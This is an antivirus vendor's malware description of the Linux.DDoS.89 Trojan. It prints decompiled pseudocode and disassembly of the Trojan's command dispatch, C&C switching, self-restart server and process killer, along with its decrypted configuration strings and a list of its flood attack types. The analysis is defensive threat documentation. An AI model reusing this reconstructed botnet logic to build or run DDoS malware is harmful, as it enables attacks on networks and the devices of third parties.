Defend what you create

Other Resources

Close

Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.DDoS.89

Added to the Dr.Web virus database: 2016-08-08

Virus description added:

SHA1:

  • 846b2d1b091704bb5a90a1752cafe5545588caa6

A modified version of Linux.DDoS.87 that fills structures with command handlers in a similar way:

v0->number_ = 0;
v0->func = cmd0;
v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4);
v3 = malware_conf.size + 1;
malware_conf.entries = v2;
v2[malware_conf.size] = v1;
malware_conf.size = v3;
v4 = (cmd *)calloc(1u, 8u);
v5 = v4;
v4->number_ = 1;
v4->func = cmd1;

The appearance of some structures has been changed: some fields have been swapped around. The way the configuration is filled and stored has also been changed: in this version, the memory is not reallocated; instead, a statically allocated memory area is used to save the Trojan. Before using a specific configuration value that is stored in the memory, the decode function is called. This function decrypts the value by implementing an XOR operation and is then called again to encrypt the value in the memory. Like in the previous version, field values are obtained from a number, but now it coincides with the location in the array. The command format has not been changed. The method of running a command handler is still the same (taking into account that the way of storing handlers has been changed).

Running the command handler in Linux.DDoS.87:

char __cdecl run_command(__time_t time, char number, unsigned __int8 target_count, target_parsed *targets, unsigned __int8 params_count, param2 *params)
{
  signed int v6; // eax@1
  int v7; // esi@2
  unsigned __int8 v8; // dl@3
  int v9; // ebx@12
  int status; // [esp+28h] [ebp-14h]@8
  LOBYTE(v6) = number;
  if ( handlers.length )
  {
    v7 = 0;
    if ( number == handlers.handlers->number )
    {
handler_found:
      v6 = __libc_fork();
      if ( v6 <= 0 )
      {
        if ( !v6 )
        {
          v6 = __libc_fork();
          if ( v6 > 0 )
            __GI_exit(0);
          if ( !v6 )
          {
            v6 = __libc_fork();
            v9 = v6;
            if ( !v6 )
            {
              __GI_setsid();
              init_random();
              handlers.handlers[v7].func(target_count, targets, params_count, params);
              __GI_exit(0);
            }
            if ( v6 > 0 )
            {
              __GI_setsid();
              sleep(time);
              __GI_kill(v9, 9);
              __GI_exit(0);
            }
          }
        }
      }
      else
      {
        LOBYTE(v6) = __libc_waitpid(v6, &status, 0);
      }
    }
    else
    {
      v8 = 0;
      while ( ++v8 != handlers.length )
      {
        v7 = v8;
        LOBYTE(v6) = number;
        if ( handlers.handlers[v7].number == number )
          goto handler_found;
      }
    }
  }
  return v6;
}

Running the command handler in Linux.DDoS.89:

void __cdecl sub_8048200(int a1, char a2, unsigned __int8 a3, target_parsed *a4, unsigned __int8 a5, param2 *a6)
{
  int v6; // eax@1
  int v7; // eax@4
  int v8; // eax@7
  cmd *v9; // edx@7
  int v10; // eax@12
  v6 = __libc_fork();
  if ( v6 != -1 && v6 <= 0 )
  {
    v7 = __libc_fork();
    if ( v7 == -1 )
      __GI_exit(0);
    if ( !v7 )
    {
      __GI_sleep(a1);
      v10 = getppid();
      __GI_kill(v10, 9);
      __GI_exit(0);
    }
    if ( (signed int)malware_conf.size > 0 )
    {
      v8 = 0;
      v9 = *malware_conf.entries;
      if ( a2 == (*malware_conf.entries)->number_ )
      {
LABEL_10:
        v9->func(a3, a4, a5, a6);
      }
      else
      {
        while ( ++v8 != malware_conf.size )
        {
          v9 = malware_conf.entries[v8];
          if ( v9->number_ == a2 )
            goto LABEL_10;
        }
      }
    }
  }
}

The main differences from Linux.DDoS.87

The pseudo-random sequence generator has been changed, as has the order in which the Trojan performs its actions once it has been launched. First, it starts operating with signals, ignoring SIGINT:

__GI_sigemptyset(&v43);
__GI_sigaddset(&v43, SIGINT);
__GI_sigprocmask(SIG_BLOCK, &v43, 0)

Then other signal handlers are installed:

__bsd_signal(SIGCHLD, SIGEV_NONE);
  __bsd_signal(SIGTRAP, change_host);
 
//change_host:
void __cdecl change_host()
{
  decode(4u);
  decode(5u);
  cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);
  cnc.sin_port = *(_WORD *)get_config_entry(5, 0);
  encode(4u);
  encode(5u);
}

The process then receives the IP address of the network interface used to connect to the Internet via the Google DNS server (Linux.DDoS.87 got this address by connecting to its C&C server):

int getMyIp()
{
  int v0; // esi@1
  int result; // eax@1
  __int16 v2; // [esp+20h] [ebp-1Ch]@2
  __int16 v3; // [esp+22h] [ebp-1Ah]@2
  int v4; // [esp+24h] [ebp-18h]@2
  int v5; // [esp+30h] [ebp-Ch]@1
  v5 = 16;
  v0 = __GI_socket(2, 2, 0);
  result = 0;
  if ( v0 != -1 )
  {
    v2 = 2;
    v4 = 0x8080808;
    v3 = 0x3500;
    __libc_connect(v0, &v2, 16);
    __GI_getsockname(v0, &v2, &v5);
    __libc_close(v0);
    result = v4;
  }
  return result;
}

The local server is then launched:

int start_server()
{
  int result; // eax@1
  struct flock *v1; // eax@2
  char v2; // ST1C_1@2
  unsigned __int32 v3; // eax@2
  _DWORD *v4; // ebx@4
  char v5; // [esp+Ch] [ebp-30h]@0
  sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4
  int v7; // [esp+30h] [ebp-Ch]@1
  v7 = 1;
  result = __GI_socket(2, 1, 0);
  server_socket = result;
  if ( result != -1 )
  {
    __GI_setsockopt(result, 1, 2, &v7, 4);
    v1 = (struct flock *)__GI___libc_fcntl(server_socket, 3, 0, v5);
    BYTE1(v1) |= 8u;
    __GI___libc_fcntl(server_socket, 4, v1, v2);
    v3 = 0x100007F;
    if ( !can_bind )
      v3 = selfaddr;
    v6.sin_family = 2;
    v6.sin_addr.s_addr = v3;
    v6.sin_port = 0xE5BBu; //48101
    v4 = getLastError();
    *v4 = 0;
    if ( __GI_bind(server_socket, &v6, 16) == -1 )
    {
      if ( *v4 == EADDRNOTAVAIL )
        can_bind = 0;
      v6.sin_family = 2;
      v6.sin_addr.s_addr = 0;
      v6.sin_port = 0xE5BBu; //48101
      __libc_connect(server_socket, &v6, 16); //connect to socket
      __GI_sleep(5);
      __libc_close(server_socket);
      result = start_server();
    }
    else
    {
      result = __GI_listen(server_socket, 1);
    }
  }
  return result;
}

If the Trojan fails to use the bind system call, it connects to the corresponding port because it is assumed that the port is already busy running a previously launched Linux.DDoS.89 process. In this case, the previously launched process terminates itself. Once the server is launched, the C&C server address information stored in the executable file is added to the sockaddr_in structure:

.text:0804BBEF                 mov     ds:cnc.sin_family, 2
.text:0804BBF8                 add     esp, 10h
.text:0804BBFB                 mov     ds:cnc.sin_addr.s_addr, XXXXXXXXh
.text:0804BC05                 mov     ds:cnc.sin_port, 5000h

Then the following function obtained from the process is calculated:

def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2,4,6,8,10,12]:
        z =  (~a[i % len(a)] & 0xff)
        sum = (sum + z)&0xff
    return sum % 9 

The result returned by the function is an index in a function array. The function with the corresponding index will be performed. The list of functions looks as follows:

.rodata:080510A0 off_80510A0     dd offset start_server  ; DATA XREF: main+4Do
.rodata:080510A4                 dd offset decode
.rodata:080510A8                 dd offset get_config_entry
.rodata:080510AC                 dd offset fill_config
.rodata:080510B0                 dd offset encode
.rodata:080510B4                 dd offset memncpy
.rodata:080510B8                 dd offset strcmp
.rodata:080510BC                 dd offset runkiller
.rodata:080510C0                 dd offset change_host

Then the name of the current process is checked. If it is “./dvrHelper”, the SIGTRAP signal is created. This signal is responsible for changing the C&C server.

Each configuration is filled in the following way:

v2 = (char *)malloc(0xFu);
memcpy(v2, (char *)&unk_8051259, 15);
conf_entries[3].data = v2;
conf_entries[3].length = 15;
v3 = (char *)malloc(4u);
memcpy(v3, "'ь+B", 4);
conf_entries[4].data = v3;
conf_entries[4].length = 4;
v4 = (char *)malloc(2u);
memcpy(v4, "\"5", 2);
conf_entries[5].data = v4;
conf_entries[5].length = 2;
v5 = (char *)malloc(7u);

The configuration for this sample looks as follows:

НомерDecrypted valuePurpose
1"DROPOUTJEEP"
2"wiretap -report='tcp://65.222.202.53:80'" this string is appended as a Trojan’s name and is displayed in a process list
3"listening tun0"output to stdin when launched
4<ip-addres>C&C server’s address
5<port>C&C server’s port
6"/proc/"runkiller
7"/exe"runkiller
8"REPORT %s:%s"runkiller
9"HTTPFLOOD"runkiller
10"LOLNOGTFO"runkiller
11"\x58\x4D\x4E\x4E\x43\x50\x46\x22"runkiller
12"zollard"runkiller
13"GETLOCALIP"unused
14<host>the scanner of the hosts’ IP address to which information on infected computers is sent
15<port>the scanner of the hosts’ port to which information on infected computers is sent
16"shell"scanner
17"enable"scanner
18"sh"scanner
19"/bin/busybox MIRAI"scanner
20"MIRAI: applet not found"scanner
21"ncorrect"scanner
22"TSource Engine Query"cmd1
23"/etc/resolv.conf"cmd2
24"nameserver"cmd2

Once the configuration is filled, the process’s name is changed to conf[2]. Using the prctl function, its name is changed to conf[1].

Then conf[3] is output to the standard stdin thread:

.text:0804BE05                 lea     eax, [esp+1224h+len]
.text:0804BE0C                 push    eax
.text:0804BE0D                 push    3
.text:0804BE0F                 call    get_config_entry
.text:0804BE14                 add     esp, 0Ch
.text:0804BE17                 mov     edi, [esp+1220h+len]
.text:0804BE1E                 push    edi             ; len
.text:0804BE1F                 push    eax             ; addr
.text:0804BE20                 push    1               ; fd
.text:0804BE22                 call    ___libc_write
.text:0804BE27                 add     esp, 0Ch
.text:0804BE2A                 push    1               ; len
.text:0804BE2C                 push    offset newline_2 ; addr
.text:0804BE31                 push    1               ; fd
.text:0804BE33                 call    ___libc_write

Child processes are subsequently created and the following functions are called:

.text:0804BEBF                 call    init_consts__
.text:0804BEC4                 call    fill_handlers
.text:0804BEC9                 call    run_scanner
.text:0804BECE                 pop     esi
.text:0804BECF                 mov     edx, [esp+1228h+var_1210]
.text:0804BED3                 mov     ebx, [edx]
.text:0804BED5                 push    ebx
.text:0804BED6                 call    runkiller

The runkiller function does not check whether files are present in the process’s directory because it uses PID. The process will not be terminated if its PID is the same as the current or parental one.

The same changes were implemented to the network operation mechanism. Instead of blocking sockets, the Trojan uses the select system call which also handles server sockets. When connecting to a server socket, all child processes and the current process are terminated, and a new scanner process is run:

.text:0804C1E5 socket_server_ready:                    ; CODE XREF: main+53Ej
.text:0804C1E5                 mov     [esp+121Ch+optval], 10h
.text:0804C1F0                 lea     eax, [esp+121Ch+var_48]
.text:0804C1F7                 push    edi
.text:0804C1F8                 lea     edx, [esp+1220h+optval]
.text:0804C1FF                 push    edx
.text:0804C200                 push    eax
.text:0804C201                 push    ecx
.text:0804C202                 call    ___libc_accept
.text:0804C207                 call    kill_scanner
.text:0804C20C                 call    kill_killer
.text:0804C211                 call    spawn_new_scanner
.text:0804C216                 pop     ebx
.text:0804C217                 pop     esi
.text:0804C218                 push    9               ; sig
.text:0804C21A                 neg     [esp+1228h+var_120C]
.text:0804C21E                 mov     ecx, [esp+1228h+var_120C]
.text:0804C222                 push    ecx             ; int
.text:0804C223                 call    ___GI_kill
.text:0804C228                 mov     [esp+122Ch+fd], 0 ; status
.text:0804C22F                 call    ___GI_exit
The MAC address of the network adapter is not sent to the C&C server, and network commands are received one by one. The run_scanner function, which was borrowed from the Linux.BackDoor.Fgt Trojan family and which is responsible for searching for vulnerable devices, has been slightly changed—the C&C server’s address, to which information on infected computers is sent, is extracted from the configuration. HTTP flood is now missing from the list of types of attacks performed, and commands have been reordered:
НомерТип
0UPD random
1TSource
2DNS flood
3TCP flood 2 options
4TCP flood random data
5TCP flood
6UDP over GRE
7TEB over GRE

In the examined sample, virus makers tried to carry out a DNS amplification attack: the DNS server’s address is retrieved either from the resolv.conf file or from a list of public DNS servers hard-coded into the Trojan’s body.

News about this threat

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number

The Russian developer of Dr.Web anti-viruses
Doctor Web has been developing anti-virus software since 1992
Dr.Web is trusted by users around the world in 200+ countries
The company has delivered an anti-virus as a service since 2007
24/7 tech support

Dr.Web © Doctor Web
2003 — 2020

Doctor Web is the Russian developer of Dr.Web anti-virus software. Dr.Web anti-virus software has been developed since 1992.

2-12А, 3rd street Yamskogo polya, Moscow, Russia, 125124